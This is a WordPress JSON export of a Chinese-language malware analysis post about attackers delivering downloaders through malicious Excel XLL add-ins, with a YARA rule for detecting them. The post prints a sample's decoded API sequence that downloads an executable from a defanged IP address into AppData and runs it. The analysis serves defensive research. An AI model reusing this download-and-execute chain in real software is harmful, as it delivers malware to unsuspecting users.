{"id":269570,"date":"2022-05-26T19:19:12","date_gmt":"2022-05-26T11:19:12","guid":{"rendered":"https:\/\/www.idc.net\/help\/269570\/"},"modified":"2022-05-26T19:19:12","modified_gmt":"2022-05-26T11:19:12","slug":"%e6%94%bb%e5%87%bb%e8%80%85%e5%bc%80%e5%a7%8b%e4%bd%bf%e7%94%a8-xll-%e6%96%87%e4%bb%b6%e8%bf%9b%e8%a1%8c%e6%94%bb%e5%87%bb","status":"publish","type":"post","link":"https:\/\/idc.net\/help\/269570\/","title":{"rendered":"\u653b\u51fb\u8005\u5f00\u59cb\u4f7f\u7528 XLL \u6587\u4ef6\u8fdb\u884c\u653b\u51fb"},"content":{"rendered":"

\n

\u8fd1\u671f\uff0c\u7814\u7a76\u4eba\u5458\u53d1\u73b0\u4f7f\u7528\u6076\u610f Microsoft Excel \u52a0\u8f7d\u9879(XLL)\u6587\u4ef6\u53d1\u8d77\u653b\u51fb\u7684\u884c\u52a8\u6709\u6240\u589e\u52a0\uff0c\u8fd9\u9879\u6280\u672f\u7684 MITRE ATT&CK \u6280\u672f\u9879\u7f16\u53f7\u4e3a T1137.006\u3002<\/p>\n

\u8fd9\u4e9b\u52a0\u8f7d\u9879\u90fd\u662f\u4e3a\u4e86\u4f7f\u7528\u6237\u80fd\u591f\u5229\u7528\u9ad8\u6027\u80fd\u51fd\u6570\uff0c\u4e3a Excel \u5de5\u4f5c\u8868\u63d0\u4f9b API \u8c03\u7528\u63a5\u53e3\u3002\u4e0e VBA \u7b49\u5176\u4ed6\u63a5\u53e3\u76f8\u6bd4\uff0c\u8be5\u65b9\u5f0f\u80fd\u591f\u66f4\u6709\u6548\u5730\u6269\u5c55 Excel \u7684\u80fd\u529b\uff0c\u4f7f\u5176\u652f\u6301\u66f4\u591a\u529f\u80fd\uff0c\u4f8b\u5982\u591a\u7ebf\u7a0b\u3002\u73b0\u5728\uff0c\u653b\u51fb\u8005\u4e5f\u6ee5\u7528\u8fd9\u9879\u6280\u672f\u6765\u8fbe\u6210\u81ea\u5df1\u7684\u6076\u610f\u76ee\u6807\u3002<\/p>\n

\u653b\u51fb\u8005\u5c06\u5e26\u6709\u6076\u610f XLL \u9644\u4ef6\u6216\u8005\u6076\u610f\u94fe\u63a5\u7684\u7535\u5b50\u90ae\u4ef6\u53d1\u9001\u7ed9\u7528\u6237\uff0c\u53d7\u5bb3\u8005\u70b9\u51fb\u9644\u4ef6\u6253\u5f00 Microsoft Excel \u540e\u4f1a\u63d0\u793a\u5176\u5b89\u88c5\u5e76\u6fc0\u6d3b\u52a0\u8f7d\u9879\u3002<\/p>\n

\n

\u63d0\u793a\u4fe1\u606f<\/p>\n

\u653b\u51fb\u8005\u901a\u5e38\u5c06\u4ee3\u7801\u7f6e\u4e8e xlAutoOpen\u51fd\u6570\u4e2d\uff0c\u8be5\u51fd\u6570\u4f1a\u5728\u52a0\u8f7d\u9879\u88ab\u6fc0\u6d3b\u65f6\u7acb\u5373\u89e6\u53d1\u6267\u884c\u3002\u8fd9\u610f\u5473\u7740\uff0c\u4e0e\u8981\u6c42\u7528\u6237\u542f\u7528\u5b8f\u7684 VBA \u5b8f\u4e0d\u540c\uff0c\u53d7\u5bb3\u8005\u53ea\u8981\u6253\u5f00\u5c31\u4f1a\u6267\u884c\u6076\u610f\u4ee3\u7801\u3002<\/p>\n

\u7531\u4e8e XLL \u662f\u53ef\u79fb\u690d\u7684\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u8bb8\u591a\u7535\u5b50\u90ae\u4ef6\u7f51\u5173\u90fd\u4f1a\u62e6\u622a\u8be5\u683c\u5f0f\u7684\u6587\u4ef6\u6216\u8005\u4ec5\u5141\u8bb8\u53d7\u4fe1\u4efb\u7b7e\u540d\u7684\u52a0\u8f7d\u9879\u3002<\/p>\n

XLL \u6076\u610f\u8f6f\u4ef6\u51fa\u552e<\/h4>\n

\u56e0\u4e3a XLL \u6076\u610f\u6587\u4ef6\u7684\u5feb\u901f\u589e\u957f\uff0c\u6211\u4eec\u5728\u5730\u4e0b\u72af\u7f6a\u8bba\u575b\u4e0a\u8fdb\u884c\u4e86\u76f8\u5e94\u7684\u8c03\u67e5\uff0c\u8bc4\u4f30\u4f7f\u7528\u8fd9\u79cd\u6587\u4ef6\u683c\u5f0f\u7684\u6076\u610f\u5de5\u5177\u548c\u670d\u52a1\u7684\u6d41\u884c\u7a0b\u5ea6\u3002<\/p>\n

\u5728\u8bfb\u4e2a\u5730\u4e0b\u72af\u7f6a\u8bba\u575b\u4e2d\uff0c\u53cd\u590d\u770b\u5230\u6765\u81ea\u540c\u4e00\u4e2a\u653b\u51fb\u8005\u7684\u5e7f\u544a\uff0c\u6b63\u5728\u9500\u552e\u4e00\u4e2a\u53ef\u4ee5\u521b\u5efa XLL Dropper \u7684\u6784\u5efa\u5de5\u5177\u3002<\/p>\n

\n

\u5730\u4e0b\u8bba\u575b\u9500\u552e\u5e7f\u544a<\/p>\n

\u7528\u6237\u6307\u5b9a\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u6216\u4e0b\u8f7d\u8bf1\u9975\u6587\u4ef6\u7684\u94fe\u63a5\u5730\u5740\uff0c\u751f\u6210 XLL \u6587\u4ef6\u3002<\/p>\n

\n

\u6784\u5efa\u5de5\u5177\u622a\u56fe<\/p>\n

EXCEL-DNA \u751f\u6210\u52a0\u8f7d\u9879<\/h4>\n

\u53d1\u73b0\u7684 XLL \u6587\u4ef6\u5927\u90e8\u5206\u90fd\u6709\u76f8\u540c\u7684\u7ed3\u6784\uff0c\u672c\u8d28\u4e0a\u8bf4\uff0cXLL \u6587\u4ef6\u662f\u5305\u542b xlAutoOpen\u5bfc\u51fa\u51fd\u6570\u7684 DLL \u6587\u4ef6\u3002\u8fd9\u4e9b XLL \u6587\u4ef6\u5e94\u8be5\u662f\u4f7f\u7528 Excel-DNA\u5de5\u5177\u751f\u6210\u7684\uff0c\u5305\u542b\u591a\u4e2a\u5927\u578b\u7684\u8d44\u6e90\u3002<\/p>\n

\n

\u6587\u4ef6\u8d44\u6e90\u6bb5\u7ed3\u6784<\/p>\n

\u5176\u4e2d\u5305\u542b Excel-DNA \u9879\u76ee\u7ec4\u4ef6\u4ee5\u53ca\u52a0\u8f7d\u9879\uff0c\u53ef\u4ee5\u901a\u8fc7\u67e5\u770b\u8d44\u6e90\u540d\u6216\u8005\u540c\u6837\u5b58\u50a8\u5728\u8d44\u6e90\u4e2d\u7684 XML \u5b9a\u4e49\u6587\u4ef6\u6765\u8bc6\u522b\u5305\u542b Excel \u52a0\u8f7d\u9879\u7684 XLL \u6587\u4ef6\u3002<\/p>\n

\n

XML \u6587\u4ef6<\/p>\n

\u5305\u542b\u6076\u610f\u4ee3\u7801\u7684\u52a0\u8f7d\u9879\u662f\u4f7f\u7528 .NET \u5f00\u53d1\u7684\uff0c\u4f4d\u4e8e MODDNA\u8d44\u6e90\u4e2d\u3002\u8981\u5206\u6790\u8be5\u6076\u610f\u4ee3\u7801\uff0c\u9700\u8981\u5c06\u8d44\u6e90\u4fdd\u5b58\u5230\u786c\u76d8\u5e76\u4f7f\u7528 LZMA \u7b97\u6cd5\u8fdb\u884c\u89e3\u538b\u7f29\u3002\u5bf9 .NET \u6587\u4ef6\u8fdb\u884c\u53cd\u7f16\u8bd1\u540e\uff0c\u53ef\u89c1 XLL \u52a0\u8f7d\u9879\u7684\u542f\u52a8\u51fd\u6570\uff0c\u8be5\u52a0\u8f7d\u9879\u4e3a\u6076\u610f\u8f6f\u4ef6 Downloader\u3002<\/p>\n

\n

.NET \u6587\u4ef6\u4ee3\u7801<\/p>\n

\u4f7f\u7528 Excel-DNA \u9879\u76ee\u521b\u5efa\u7684 XLL \u6587\u4ef6\u4e5f\u53ef\u4ee5\u4f7f\u7528\u9879\u76ee\u63d0\u4f9b\u7684\u811a\u672c\u81ea\u52a8\u89e3\u538b\u7f29\uff0c\u8be5\u811a\u672c\u5c06 XLL \u6587\u4ef6\u7684\u8def\u5f84\u4f5c\u4e3a\u53c2\u6570\uff0c\u7136\u540e\u63d0\u53d6\u3001\u89e3\u538b\u7f29\u5e76\u5c06\u8d44\u6e90\u4fdd\u5b58\u5230\u6587\u4ef6\u5939\u4e2d\u3002<\/p>\n

\n

\u63d0\u53d6 XLL \u6587\u4ef6<\/p>\n

\u81ea\u5b9a\u4e49\u751f\u6210\u7684\u52a0\u8f7d\u9879<\/h4>\n

\u5176\u4ed6\u4e0d\u4f7f\u7528 Excel-DNA \u7684 XLL \u6587\u4ef6\u4e2d\uff0c\u4e00\u4e2a Downloader \u5927\u5c0f\u53ea\u6709 4.5 KB\uff0c\u4f46\u5438\u5f15\u4e86\u7814\u7a76\u4eba\u5458\u7684\u6ce8\u610f\u3002\u4e0e\u5176\u4ed6 XLL \u6587\u4ef6\u4e00\u6837\uff0c\u8be5\u6587\u4ef6\u4e5f\u5177\u6709\u5bfc\u51fa\u51fd\u6570 xlAutoOpen\u3002\u4e3a\u4e86\u6df7\u6dc6\u7a0b\u5e8f\u63a7\u5236\u6d41\uff0c\u6837\u672c\u4e2d\u5305\u542b\u8bb8\u591a\u8fde\u7eed\u7684 jmp\u6307\u4ee4\u3002<\/p>\n

\n

\u52a8\u6001\u8c03\u8bd5\u622a\u56fe<\/p>\n

\u7ecf\u8fc7\u5206\u6790\u540e\uff0c\u7814\u7a76\u4eba\u5458\u53d1\u73b0\u53ef\u6267\u884c\u4ee3\u7801\u540e\u6709\u4e00\u6bb5\u52a0\u5bc6\u6570\u636e\u3002\u6570\u636e\u5728\u5faa\u73af\u4e2d\u89e3\u5bc6\uff0c\u9996\u5148\u786e\u5b9a\u6570\u636e\u7684\u4f4d\u7f6e\u4e0e\u5927\u5c0f\uff0c\u7d27\u63a5\u7740\u8fdb\u884c\u5f02\u6216\u89e3\u5bc6\u3002\u6bcf\u5904\u7406\u516b\u4e2a\u5b57\u8282\uff0c\u5bc6\u94a5\u5c31\u8981\u5bf9\u7528\u6539\u53d8\u3002<\/p>\n

\n

\u89e3\u5bc6\u4ee3\u7801<\/p>\n

\u4e00\u65e6\u6570\u636e\u88ab\u89e3\u5bc6\uff0c\u6837\u672c\u53ef\u4ee5\u63d0\u53d6\u4e09\u4e2a DLL \u6587\u4ef6\u540d\u3001\u4e94\u4e2a API \u51fd\u6570\u540d\u3001Payload \u7684 URL \u4ee5\u53ca\u5b58\u50a8 Payload \u7684\u672c\u5730\u6587\u4ef6\u8def\u5f84\u3002\u6837\u672c\u9996\u5148\u901a\u8fc7\u8fdb\u7a0b\u73af\u5883\u5757(PEB)\u904d\u5386 InLoadOrderModuleList\u6b63\u786e\u89e3\u6790\u6240\u9700 DLL \u7684\u57fa\u5740\uff0c\u7136\u540e\u518d\u627e\u5230\u5e0c\u671b\u8c03\u7528\u7684 API \u51fd\u6570\u5730\u5740\u3002<\/p>\n

\n

\u89e3\u6790\u52a0\u8f7d\u6a21\u5757<\/p>\n

\u7136\u540e\uff0c\u6076\u610f\u8f6f\u4ef6\u4f7f\u7528\u89e3\u6790\u540e\u7684 API \u51fd\u6570\u4e0b\u8f7d Payload \u5e76\u5c06\u5176\u5b58\u50a8\u6267\u884c\u3002\u5728\u6b64\u6837\u672c\u4e2d\uff0cAPI \u8c03\u7528\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n

GetProcAddress(\u201cExpandEnvironmentStringsW\u201d)

ExpandEnvironmentStringsW(\u201c\u201d%APPDATA%\\joludn.exe\u201d\u201d)

LoadLibraryW(\u201cUrlMon\u201d)

GetProcAddress(\u201cURLToDownloadFile\u201d)

URLToDownloadFile(\u201chxxp:\/\/141.95.107[.]91\/cgi\/dl\/8521000125423.exe\u201d, \u201cC:\\Users\\REDACTED\\AppData\\Roaming\\joludn.exe\u201d)

_wsystem(\u201cC:\\Users\\REDACTED\\AppData\\Roaming\\joludn.exe\u201d)<\/pre>\n
\u68c0\u6d4b XLL \u6076\u610f\u6587\u4ef6\u7684 Yara \u89c4\u5219\u4e3a\uff1a<\/p>\n
rule xll_custom_builder
{
meta:
description = \"XLL Custom Builder\"
author = \"patrick.schlapfer@hp.com\"
date = \"2022-01-07\"

strings:
str2 = \"test\"
op2 = { 4D 31 0E }
op4 = { 49 39 C6 }

condition:
uint16(0) == 0x5A4D and all of (op*) and filesize < 10KB
}<\/pre>\n
\u7ed3\u8bba<\/h4>\n
Microsoft Excel \u63d0\u4f9b\u4e86\u8bb8\u591a\u5408\u6cd5\u6267\u884c\u4ee3\u7801\u7684\u65b9\u5f0f\uff0c\u5982 Excel 4.0 \u5b8f\u3001DDE \u548c VBA\uff0c\u8fd9\u4e9b\u90fd\u5df2\u7ecf\u88ab\u653b\u51fb\u8005\u6ee5\u7528\u3002\u8fd1\u671f\uff0c\u7814\u7a76\u4eba\u5458\u53d1\u73b0\uff0cDridex\u3001Agent Tesla\u3001Raccoon Stealer \u548c Formbook \u7b49\u6076\u610f\u8f6f\u4ef6\u5bb6\u65cf\u4e5f\u5f00\u59cb\u5229\u7528 XLL \u6587\u4ef6\u8fdb\u884c\u4f20\u64ad\u3002\u5229\u7528 XLL \u6587\u4ef6\u653b\u51fb\u7684\u6570\u91cf\u589e\u957f\uff0c\u8868\u660e\u653b\u51fb\u8005\u5bf9\u8fd9\u79cd\u6280\u672f\u5f88\u611f\u5174\u8da3\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
\u8fd1\u671f\uff0c\u7814\u7a76\u4eba\u5458\u53d1\u73b0\u4f7f\u7528\u6076\u610f Microsoft Excel \u52a0\u8f7d\u9879(XLL)\u6587\u4ef6\u53d1\u8d77\u653b\u51fb\u7684\u884c\u52a8\u6709\u6240\u589e\u52a0\uff0c\u8fd9\u9879\u6280 […]<\/p>\n","protected":false},"author":1,"featured_media":269571,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[202645],"tags":[],"class_list":["post-269570","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-202645"],"_links":{"self":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/posts\/269570","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/comments?post=269570"}],"version-history":[{"count":0,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/posts\/269570\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/media\/269571"}],"wp:attachment":[{"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/media?parent=269570"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/categories?post=269570"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/idc.net\/help\/wp-json\/wp\/v2\/tags?post=269570"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}